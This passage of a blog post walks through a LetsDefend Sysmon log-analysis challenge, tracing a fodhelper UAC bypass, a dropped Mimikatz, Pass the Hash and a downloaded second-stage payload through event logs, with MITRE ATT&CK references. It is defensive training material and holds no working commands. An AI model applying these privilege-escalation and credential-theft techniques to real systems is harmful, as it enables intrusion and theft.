src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/15fbcc08cfd8c4730d59c7d622a05b5c_MD5.png&#34; width=&#34;754&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the research, we&amp;rsquo;ll see a couple of documented techniques abusing the &lt;em&gt;Features on Demand Helper (fodhelper.exe)&lt;/em&gt; to bypass the UAC prompt. These techniques allow a threat actor to abuse the legitimate binary to execute a process as a privileged administrator without the user account control dialogue.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-3---bypass-uac-using-fodhelper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Atomic Test #3 — Bypass UAC using Fodhelper&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The operation completed successfully.&amp;quot;&#xA;will be shown twice and command prompt will be opened.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4---bypass-uac-using-fodhelper---powershell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Atomic Test #4 — Bypass UAC using Fodhelper — PowerShell&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Since we have discovered a documented method of abusing the &lt;em&gt;fodhelper&lt;/em&gt; binary to bypass &lt;em&gt;UAC&lt;/em&gt; that is also present on the infected device, we&amp;rsquo;ve found the answer to &lt;strong&gt;Question 2!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1986px&#34; data-flex-grow=&#34;827&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/bad574db547e86a2bd4c91fd87eaa59f_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/bad574db547e86a2bd4c91fd87eaa59f_MD5_hu_88f5f95c58b2d8f0.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/bad574db547e86a2bd4c91fd87eaa59f_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-registry-path-and-value-was-used-by-the-above-exe-to-gain-higher-privileges-pathvalue&#34;&gt;Question 3: What registry path and value was used by the above EXE to gain higher privileges? (path\value)&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continue to build off the research that we found in the &lt;em&gt;Atomic Red Team&lt;/em&gt; report and look at the listed commands used to exploit &lt;em&gt;fodhelper.exe.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The techniques involve some registry modification. With that in mind, let&amp;rsquo;s filter the CSV file in &lt;em&gt;Timeline Explorer&lt;/em&gt; by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-13-registryevent-value-set&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 13: RegistryEvent (Value Set)&lt;/strong&gt;&lt;/a&gt; and then filter by &lt;em&gt;IDM.exe.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1411px&#34; data-flex-grow=&#34;588&#34; height=&#34;136&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/341569975b1b5e632b4015cca72e247d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Filter Event Id 13&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/cd8bb6615323c38da7da477e768d5f1d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Filter Payload Data3 by IDM.exe&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re more comfortable in the &lt;em&gt;Event Viewer&lt;/em&gt;, here is the same event that we located in &lt;em&gt;Timeline Explorer:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/54a239ee694e6a403390c79bf22c1a56_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pulling back to a high-level overview, let&amp;rsquo;s simply search &lt;em&gt;Timeline Explorer&lt;/em&gt; for &lt;em&gt;fodhelper.exe.&lt;/em&gt; This not only gives us a better view of the sequence of events and relationships between the processes but also to see the &lt;em&gt;Registry Key&lt;/em&gt; accessed by &lt;em&gt;fodhelper.exe.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;960px&#34; data-flex-grow=&#34;400&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/6016f36eea3c9b05471c7bfe8bfa3f94_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/6016f36eea3c9b05471c7bfe8bfa3f94_MD5_hu_c30ad847078687e3.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/6016f36eea3c9b05471c7bfe8bfa3f94_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Because the This &lt;em&gt;Registry&lt;/em&gt; location matches the location documented in the &lt;em&gt;Atomic Red Team&lt;/em&gt; report, we can confidently say that we found the answer to &lt;strong&gt;Question 3!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;272px&#34; data-flex-grow=&#34;113&#34; height=&#34;689&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/e4ed47d6e8efd33afdfed3cc28a5326d_MD5.png&#34; width=&#34;781&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4---bypass-uac-using-fodhelper---powershell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4&amp;mdash;bypass-uac-using-fodhelper&amp;mdash;powershell&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2028px&#34; data-flex-grow=&#34;845&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a8bd969eb89a04c046b68687cff00b0c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a8bd969eb89a04c046b68687cff00b0c_MD5_hu_48a997b813c183d.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a8bd969eb89a04c046b68687cff00b0c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-attacker-dropped-a-file-what-is-the-file-location&#34;&gt;Question 4: The attacker dropped a file. What is the file location?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s continue investigating within &lt;em&gt;Timeline Explorer,&lt;/em&gt; this time, filtering on &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-11-filecreate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 11: File Create&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; According to the &lt;em&gt;Sysmon&lt;/em&gt; &lt;em&gt;documentation&lt;/em&gt;, this event captures file creation events and is &amp;quot; # &amp;ldquo;useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.&amp;ldquo;Once we have the Event ID filter, scroll over to the &lt;em&gt;RuleName&lt;/em&gt; column and type &lt;strong&gt;Downloads.&lt;/strong&gt; Applying these two options will show us the audited file creation events and filter on the term &lt;em&gt;downloads,&lt;/em&gt; including the downloads directory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;462px&#34; data-flex-grow=&#34;192&#34; height=&#34;623&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b1763ae5ee9a681ccfd23e2975f76e55_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b1763ae5ee9a681ccfd23e2975f76e55_MD5_hu_379a798e131688dc.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b1763ae5ee9a681ccfd23e2975f76e55_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away, we see a red flag — &lt;em&gt;mimikatz.exe&lt;/em&gt;. If you aren&amp;rsquo;t familiar with &lt;strong&gt;Mimikatz&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; here is a quick summary from the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; knowledge base:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;[&amp;rdquo; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.](&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/%29%22&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/)&#34;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s submit the flag and learn more about what techniques &lt;em&gt;Mimikatz&lt;/em&gt; uses.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1608px&#34; data-flex-grow=&#34;670&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b6de20a1cdf6d201870e7283766f9ff7_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b6de20a1cdf6d201870e7283766f9ff7_MD5_hu_1296417674c5f617.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b6de20a1cdf6d201870e7283766f9ff7_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-are-the-technique-name-and-id-used-by-the-droppedexe&#34;&gt;Question 5: What are the technique name and ID used by the dropped EXE?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we need to first answer the question: &lt;strong&gt;What is Mimikatz used for&lt;/strong&gt;? In the previous question, I linked the description from &lt;em&gt;MITRE ATT&amp;amp;CK,&lt;/em&gt; but let&amp;rsquo;s focus on one detail: &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mimikatz is a credential dumper&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This description of the tool gives us the answer — the most applicable &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; technique is &lt;strong&gt;Credential Dumping&lt;/strong&gt; (&lt;em&gt;MITRE ATT&amp;amp;CK — T1003&lt;/em&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/&#34;  title=&#34;https://attack.mitre.org/techniques/T1003/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;OS Credential Dumping&lt;/strong&gt;&#xA;_Active Directory Active Directory Object Access Monitor domain controller logs for replication requests and other&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1548px&#34; data-flex-grow=&#34;645&#34; height=&#34;186&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a5f69603d3e3c23bb4862a8c6d41ddc5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a5f69603d3e3c23bb4862a8c6d41ddc5_MD5_hu_b4919887d082f3c0.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a5f69603d3e3c23bb4862a8c6d41ddc5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-theattack&#34;&gt;Question 6: What is the name of the attack?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve already determined that &lt;em&gt;Mimikatz&lt;/em&gt; is a credential dumper, but to answer &lt;strong&gt;Question 6&lt;/strong&gt;, we need to figure out what the adversary did with the stolen credentials. Let&amp;rsquo;s jump back to the &lt;em&gt;Mimikatz&lt;/em&gt; software page on &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; to learn more about any techniques associated with it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  title=&#34;https://attack.mitre.org/software/S0002/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mimikatz&lt;/strong&gt;&#xA;_Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll focus on the &lt;strong&gt;Techniques Used&lt;/strong&gt; section of the software page. &lt;em&gt;Mimikatz&lt;/em&gt; has lots of listed capabilities but there is one it is infamous for facilitating. We can cheese this a little bit by looking at the answer format to narrow down the results, too.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b13f45f63a66722413840e70199738b4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1550/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Pass the Hash&lt;/strong&gt;&lt;/a&gt;! This is a technique where an attacker can access and dump credential data, like &lt;em&gt;NLTM hashes&lt;/em&gt;, from the &lt;strong&gt;Local Security Authority Subsystem Service (LSASS)&lt;/strong&gt; process in &lt;em&gt;Windows&lt;/em&gt; and then &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;pass&amp;rdquo;&#xA;the stolen hash instead of providing the password to authenticate as that user. This way, it&amp;rsquo;s possible to elevate privileges or move laterally through the target environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1617px&#34; data-flex-grow=&#34;674&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5327a8237eb17ca9b594ee97c003f4c4_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5327a8237eb17ca9b594ee97c003f4c4_MD5_hu_e7dcc2d2360bdfe5.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5327a8237eb17ca9b594ee97c003f4c4_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-exe-did-the-attacker-run-using-elevated-privileges-from-the-aboveattack&#34;&gt;Question 7: What EXE did the attacker run using elevated privileges from the above attack?&#xA;&lt;/h3&gt;&lt;p&gt;Now back to &lt;em&gt;Timeline Explorer!&lt;/em&gt; We&amp;rsquo;ll approach &lt;strong&gt;Question 7&lt;/strong&gt; by searching for &lt;em&gt;Mimikatz&lt;/em&gt; to determine if it spawned any child processes, potentially using the &lt;em&gt;Pass the Hash&lt;/em&gt; technique to elevate privileges of the child process.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1000px&#34; data-flex-grow=&#34;416&#34; height=&#34;288&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/4244d5ebcf938a0287821b17f5b56a9a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/4244d5ebcf938a0287821b17f5b56a9a_MD5_hu_c27ade9d5a5ad191.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/4244d5ebcf938a0287821b17f5b56a9a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we enter &amp;quot; # &amp;ldquo;mimikatz&amp;quot;into the search, we&amp;rsquo;ll stumble on something interesting — &lt;em&gt;mimikatz.exe&lt;/em&gt; has spawned a &lt;strong&gt;powershell.exe&lt;/strong&gt; process. Let&amp;rsquo;s examine the payload contents:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;591px&#34; data-flex-grow=&#34;246&#34; height=&#34;487&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/fcd90ab08487eb3d3babda49df57efa4_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/fcd90ab08487eb3d3babda49df57efa4_MD5_hu_c418094866ecf7b2.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/fcd90ab08487eb3d3babda49df57efa4_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer View&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;285px&#34; data-flex-grow=&#34;119&#34; height=&#34;672&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/3e289bf1036ff9ccb43c180b93124c35_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Viewer View&lt;/p&gt;&#xA;&lt;p&gt;Notice the &lt;strong&gt;IntegrityLevel&lt;/strong&gt; with the value of &lt;strong&gt;High?&lt;/strong&gt; Because &lt;em&gt;mimikatz.exe (PID 4988)&lt;/em&gt; is the parent process, this tells us that &lt;em&gt;PowerShell&lt;/em&gt; was executed with elevated, administrative level privileges — We&amp;rsquo;ve found the answer to &lt;strong&gt;Question 6!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1617px&#34; data-flex-grow=&#34;674&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/e6f670d2f13ddc0586284382f59e86de_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/e6f670d2f13ddc0586284382f59e86de_MD5_hu_48eda2e010607b4.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/e6f670d2f13ddc0586284382f59e86de_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-attacker-downloaded-and-ran-a-file-what-is-the-filename&#34;&gt;Question 8: The attacker downloaded and ran a file. What is the filename?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;ve made it to the last question! Let&amp;rsquo;s hunt for the next file the attacker downloaded. For this, we&amp;rsquo;ll set up the same filters that we did for &lt;strong&gt;Question 4 —&lt;/strong&gt; filtering on &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-11-filecreate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 11: File Create&lt;/strong&gt;&lt;/a&gt; and entering &lt;strong&gt;Downloads&lt;/strong&gt; in the &lt;em&gt;RuleName&lt;/em&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;460px&#34; data-flex-grow=&#34;192&#34; height=&#34;625&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/c7932d5d69df772b21ad56fc98879082_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/c7932d5d69df772b21ad56fc98879082_MD5_hu_3365abebcd51ab3f.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/c7932d5d69df772b21ad56fc98879082_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right below the &lt;em&gt;mimikatz&lt;/em&gt;.exe that we found earlier, we&amp;rsquo;ll see evidence of second executable that&amp;rsquo;s created:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This seems promising. Now, we need to determine if the attacker ran it to confirm that we have found the correct answer. To do this, let&amp;rsquo;s filter the &lt;em&gt;Event ID&lt;/em&gt; column by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-1-process-creation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 1 (Process Creation&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;)&lt;/strong&gt; in and then search for:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;829px&#34; data-flex-grow=&#34;345&#34; height=&#34;347&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/88c4643a5c7fbc95b3e5c3d8feac262d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/88c4643a5c7fbc95b3e5c3d8feac262d_MD5_hu_96fc72573ad50ad9.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/88c4643a5c7fbc95b3e5c3d8feac262d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the filtering in place, we can confirm that the attacker leveraged &lt;em&gt;PowerShell&lt;/em&gt; to download this &lt;em&gt;second stage payload&lt;/em&gt; and used the &lt;strong&gt;&lt;em&gt;Start-Process&lt;/em&gt;&lt;/strong&gt; cmdlet to execute it_._ Great job! Let&amp;rsquo;s submit the flag and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/839f3bc4d78214dbd07b3d3901315cea_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/839f3bc4d78214dbd07b3d3901315cea_MD5_hu_1871526a386013d7.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/839f3bc4d78214dbd07b3d3901315cea_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! Using the &lt;em&gt;Sysmon&lt;/em&gt; logs, we&amp;rsquo;ve successfully identified the binaries used for initial access, defense evasion, credential access, privilege escalation, and the second-stage malware. During the investigation, we turned to &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; to reveal more details about each of these techniques to better understand how the adversary was attacking the victim&amp;rsquo;s device. Now that we have scoped the attack and completed our objectives let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Log Analysis with 